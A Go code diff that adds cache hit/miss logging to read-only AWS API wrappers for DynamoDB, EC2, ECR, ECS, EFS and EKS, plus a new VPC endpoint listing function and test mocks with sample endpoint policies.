dynamoDBTypes "github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type DynamoDBClientInterface interface {
|
||||
@@ -27,8 +28,21 @@ func CachedDynamoDBListTables(client DynamoDBClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-dynamodb-ListTables-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:ListTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:ListTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListTables, err := client.ListTables(
|
||||
context.TODO(),
|
||||
@@ -62,9 +76,22 @@ func CachedDynamoDBDescribeTable(client DynamoDBClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-dynamodb-DescribeTable-%s-%s", accountID, region, tableName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:DescribeTable",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(dynamoDBTypes.TableDescription), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:DescribeTable",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeTable, err := client.DescribeTable(
|
||||
context.TODO(),
|
||||
&dynamodb.DescribeTableInput{
|
||||
|
||||
+120
-1
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ec2"
|
||||
ec2Types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSEC2ClientInterface interface {
|
||||
@@ -19,6 +20,7 @@ type AWSEC2ClientInterface interface {
|
||||
DescribeVolumes(context.Context, *ec2.DescribeVolumesInput, ...func(*ec2.Options)) (*ec2.DescribeVolumesOutput, error)
|
||||
DescribeImages(context.Context, *ec2.DescribeImagesInput, ...func(*ec2.Options)) (*ec2.DescribeImagesOutput, error)
|
||||
DescribeInstanceAttribute(context.Context, *ec2.DescribeInstanceAttributeInput, ...func(*ec2.Options)) (*ec2.DescribeInstanceAttributeOutput, error)
|
||||
DescribeVpcEndpoints(context.Context, *ec2.DescribeVpcEndpointsInput, ...func(options *ec2.Options)) (*ec2.DescribeVpcEndpointsOutput, error)
|
||||
}
|
||||
|
||||
func init() {
|
||||
@@ -27,7 +29,7 @@ func init() {
|
||||
gob.Register([]ec2Types.Snapshot{})
|
||||
gob.Register([]ec2Types.Volume{})
|
||||
gob.Register([]ec2Types.Image{})
|
||||
|
||||
gob.Register([]ec2Types.VpcEndpoint{})
|
||||
}
|
||||
|
||||
func CachedEC2DescribeInstances(client AWSEC2ClientInterface, accountID string, region string) ([]ec2Types.Instance, error) {
|
||||
@@ -36,8 +38,20 @@ func CachedEC2DescribeInstances(client AWSEC2ClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Instance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeInstances, err := client.DescribeInstances(
|
||||
context.TODO(),
|
||||
@@ -72,8 +86,22 @@ func CachedEC2DescribeInstanceAttributeUserData(client AWSEC2ClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstanceAttributeUserData-%s-%s", accountID, region, instanceID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstanceAttribute",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"instance": instanceID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstanceAttribute",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"instance": instanceID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeInstanceAttribute, err := client.DescribeInstanceAttribute(
|
||||
context.TODO(),
|
||||
&ec2.DescribeInstanceAttributeInput{
|
||||
@@ -98,8 +126,20 @@ func CachedEC2DescribeNetworkInterfaces(client AWSEC2ClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeNetworkInterfaces-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeNetworkInterfaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.NetworkInterface), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeNetworkInterfaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeNetworkInterfaces, err := client.DescribeNetworkInterfaces(
|
||||
context.TODO(),
|
||||
@@ -131,8 +171,20 @@ func CachedEC2DescribeSnapshots(client AWSEC2ClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeSnapshots-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeSnapshots",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Snapshot), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeSnapshots",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeSnapshots, err := client.DescribeSnapshots(
|
||||
context.TODO(),
|
||||
@@ -165,8 +217,20 @@ func CachedEC2DescribeVolumes(client AWSEC2ClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeVolumes-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVolumes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Volume), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVolumes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeVolumes, err := client.DescribeVolumes(
|
||||
context.TODO(),
|
||||
@@ -198,8 +262,20 @@ func CachedEC2DescribeImages(client AWSEC2ClientInterface, accountID string, reg
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeImages-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Image), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeImages, err := client.DescribeImages(
|
||||
context.TODO(),
|
||||
@@ -224,5 +300,48 @@ func CachedEC2DescribeImages(client AWSEC2ClientInterface, accountID string, reg
|
||||
|
||||
internal.Cache.Set(cacheKey, Images, cache.DefaultExpiration)
|
||||
return Images, nil
|
||||
}
|
||||
|
||||
func CachedEC2DescribeVpcEndpoints(client AWSEC2ClientInterface, accountID string, region string) ([]ec2Types.VpcEndpoint, error) {
|
||||
var PaginationControl *string
|
||||
var VpcEndpoints []ec2Types.VpcEndpoint
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeVpcEndpoints-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVpcEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.VpcEndpoint), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVpcEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeVpcEndpoints, err := client.DescribeVpcEndpoints(
|
||||
context.TODO(),
|
||||
&(ec2.DescribeVpcEndpointsInput{
|
||||
NextToken: PaginationControl,
|
||||
}),
|
||||
func(o *ec2.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return VpcEndpoints, err
|
||||
}
|
||||
VpcEndpoints = append(VpcEndpoints, DescribeVpcEndpoints.VpcEndpoints...)
|
||||
|
||||
if DescribeVpcEndpoints.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeVpcEndpoints.NextToken
|
||||
}
|
||||
internal.Cache.Set(cacheKey, VpcEndpoints, cache.DefaultExpiration)
|
||||
return VpcEndpoints, nil
|
||||
}
|
||||
@@ -25,6 +25,7 @@ type MockedEC2Client2 struct {
|
||||
describeSnapshots DescribeSnapshots
|
||||
describeVolumes DescribeVolumes
|
||||
describeImages DescribeImages
|
||||
describeVpcEndpoints DescribeVpcEndpoints
|
||||
}
|
||||
|
||||
type DescribeNetworkInterfaces struct {
|
||||
@@ -271,6 +272,9 @@ type DescribeInstanceAttribute struct {
|
||||
InstanceID string `json:"InstanceId"`
|
||||
}
|
||||
|
||||
type DescribeVpcEndpoints struct {
|
||||
}
|
||||
|
||||
func (c *MockedEC2Client2) DescribeNetworkInterfaces(ctx context.Context, input *ec2.DescribeNetworkInterfacesInput, f ...func(o *ec2.Options)) (*ec2.DescribeNetworkInterfacesOutput, error) {
|
||||
var nics []ec2types.NetworkInterface
|
||||
err := json.Unmarshal(readTestFile(DESCRIBE_NETWORK_INTEFACES_TEST_FILE), &c.describeNetworkInterfaces)
|
||||
@@ -386,3 +390,43 @@ func (c *MockedEC2Client2) DescribeInstanceAttribute(ctx context.Context, input
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *MockedEC2Client2) DescribeVpcEndpoints(ctx context.Context, input *ec2.DescribeVpcEndpointsInput, f ...func(o *ec2.Options)) (*ec2.DescribeVpcEndpointsOutput, error) {
|
||||
return &ec2.DescribeVpcEndpointsOutput{
|
||||
VpcEndpoints: []ec2types.VpcEndpoint{
|
||||
{
|
||||
VpcEndpointId: aws.String("vpce-1234567890abcdefg"),
|
||||
PolicyDocument: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}`),
|
||||
},
|
||||
{
|
||||
VpcEndpointId: aws.String("vpce-1234567890abcdefh"),
|
||||
PolicyDocument: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "*",
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"aws:SourceVpce": "vpce-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}`),
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
+41
-3
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecr"
|
||||
ecrTypes "github.com/aws/aws-sdk-go-v2/service/ecr/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSECRClientInterface interface {
|
||||
@@ -33,9 +34,20 @@ func CachedECRDescribeRepositories(ECRClient AWSECRClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-ecr-DescribeRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECR repositories data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ecrTypes.Repository), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeRepositories, err := ECRClient.DescribeRepositories(
|
||||
@@ -73,9 +85,22 @@ func CachedECRDescribeImages(ECRClient AWSECRClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ecr-DescribeImages-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Images data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ecrTypes.ImageDetail), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeImages, err := ECRClient.DescribeImages(
|
||||
@@ -113,9 +138,22 @@ func CachedECRGetRepositoryPolicy(ECRClient AWSECRClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-ecr-GetRepositoryPolicy-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECR repository policy data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:GetRepositoryPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:GetRepositoryPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetRepositoryPolicy, err := ECRClient.GetRepositoryPolicy(
|
||||
context.TODO(),
|
||||
|
||||
+69
-5
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecs"
|
||||
ecsTypes "github.com/aws/aws-sdk-go-v2/service/ecs/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSECSClientInterface interface {
|
||||
@@ -34,9 +35,20 @@ func CachedECSListClusters(ECSClient AWSECSClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-ecs-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS clusters data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListClusters, err := ECSClient.ListClusters(
|
||||
@@ -77,9 +89,22 @@ func CachedECSListTasks(ECSClient AWSECSClientInterface, accountID string, regio
|
||||
cacheKey := fmt.Sprintf("%s-ecs-ListTasks-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS tasks data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListTasks, err := ECSClient.ListTasks(
|
||||
@@ -120,9 +145,22 @@ func CachedECSDescribeTasks(ECSClient AWSECSClientInterface, accountID string, r
|
||||
cacheKey := fmt.Sprintf("%s-ecs-DescribeTasks-%s-%s", accountID, region, clusterFileSystemSafe)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS task details data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": cluster,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ecsTypes.Task), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": cluster,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeTasks, err := ECSClient.DescribeTasks(
|
||||
context.TODO(),
|
||||
@@ -153,9 +191,22 @@ func CachedECSDescribeTaskDefinition(ECSClient AWSECSClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-ecs-DescribeTaskDefinition-%s-%s", accountID, region, taskDefinitionFileSystemSafe)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS task definition details data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTaskDefinition",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"taskDefinition": taskDefinition,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(ecsTypes.TaskDefinition), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTaskDefinition",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"taskDefinition": taskDefinition,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeTaskDefinition, err := ECSClient.DescribeTaskDefinition(
|
||||
context.TODO(),
|
||||
@@ -186,9 +237,22 @@ func CachedECSListServices(ECSClient AWSECSClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-ecs-ListServices-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS services data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListServices, err := ECSClient.ListServices(
|
||||
|
||||
@@ -135,12 +135,30 @@ func (c *MockedECSClient) DescribeTasks(ctx context.Context, input *ecs.Describe
|
||||
Status: aws.String(a.Status),
|
||||
})
|
||||
}
|
||||
|
||||
var containers []ecsTypes.Container
|
||||
|
||||
for _, container := range mockedTask.Containers {
|
||||
containers = append(containers, ecsTypes.Container{
|
||||
ContainerArn: aws.String(container.ContainerArn),
|
||||
Cpu: aws.String(container.CPU),
|
||||
HealthStatus: ecsTypes.HealthStatus(container.HealthStatus),
|
||||
Image: aws.String(container.Image),
|
||||
LastStatus: aws.String(container.LastStatus),
|
||||
Memory: aws.String(container.Memory),
|
||||
Name: aws.String(container.Name),
|
||||
RuntimeId: aws.String(container.RuntimeID),
|
||||
TaskArn: aws.String(container.TaskArn),
|
||||
})
|
||||
}
|
||||
|
||||
tasks = append(tasks, ecsTypes.Task{
|
||||
ClusterArn: aws.String(mockedTask.ClusterArn),
|
||||
TaskDefinitionArn: aws.String(mockedTask.TaskDefinitionArn),
|
||||
LaunchType: ecsTypes.LaunchType(*aws.String(mockedTask.LaunchType)),
|
||||
TaskArn: aws.String(mockedTask.TaskArn),
|
||||
Attachments: attachments,
|
||||
Containers: containers,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs"
|
||||
efsTypes "github.com/aws/aws-sdk-go-v2/service/efs/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSEFSClientInterface interface {
|
||||
@@ -34,8 +35,20 @@ func CachedDescribeFileSystems(EFSClient AWSEFSClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeFileSystems-%s", accountID, r)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystems",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]efsTypes.FileSystemDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystems",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeFileSystems, err := EFSClient.DescribeFileSystems(
|
||||
@@ -73,8 +86,20 @@ func CachedDescribeMountTargets(EFSClient AWSEFSClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeMountTargets-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeMountTargets",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]efsTypes.MountTargetDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeMountTargets",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeMountTargets, err := EFSClient.DescribeMountTargets(
|
||||
@@ -113,8 +138,20 @@ func CachedDescribeAccessPoints(EFSClient AWSEFSClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeAccessPoints-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeAccessPoints",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]efsTypes.AccessPointDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeAccessPoints",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeAccessPoints, err := EFSClient.DescribeAccessPoints(
|
||||
context.TODO(),
|
||||
@@ -151,8 +188,20 @@ func CachedDescribeFileSystemPolicy(EFSClient AWSEFSClientInterface, filesystemI
|
||||
cacheKey := fmt.Sprintf("efs-%s-DescribeFileSystemPolicy-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystemPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystemPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
Policy, err := EFSClient.DescribeFileSystemPolicy(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/eks"
|
||||
eksTypes "github.com/aws/aws-sdk-go-v2/service/eks/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type EKSClientInterface interface {
|
||||
@@ -30,8 +31,22 @@ func CachedEKSDescribeCluster(client EKSClientInterface, accountID string, clust
|
||||
cacheKey := fmt.Sprintf("%s-eks-DescribeCluster-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeCluster",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(eksTypes.Cluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeCluster",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
clusterOutput, err := client.DescribeCluster(
|
||||
context.TODO(),
|
||||
&eks.DescribeClusterInput{
|
||||
@@ -57,8 +72,20 @@ func CachedEKSListClusters(client EKSClientInterface, accountID string, region s
|
||||
cacheKey := fmt.Sprintf("%s-eks-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListClusters, err := client.ListClusters(
|
||||
context.TODO(),
|
||||
@@ -93,8 +120,22 @@ func CachedEKSListNodeGroups(client EKSClientInterface, accountID string, region
|
||||
cacheKey := fmt.Sprintf("%s-eks-ListNodeGroups-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListNodegroups",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListNodegroups",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListNodeGroups, err := client.ListNodegroups(
|
||||
context.TODO(),
|
||||
@@ -129,8 +170,24 @@ func CachedEKSDescribeNodeGroup(client EKSClientInterface, accountID string, reg
|
||||
cacheKey := fmt.Sprintf("%s-eks-DescribeNodeGroup-%s-%s-%s", accountID, region, clusterName, nodeGroupName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
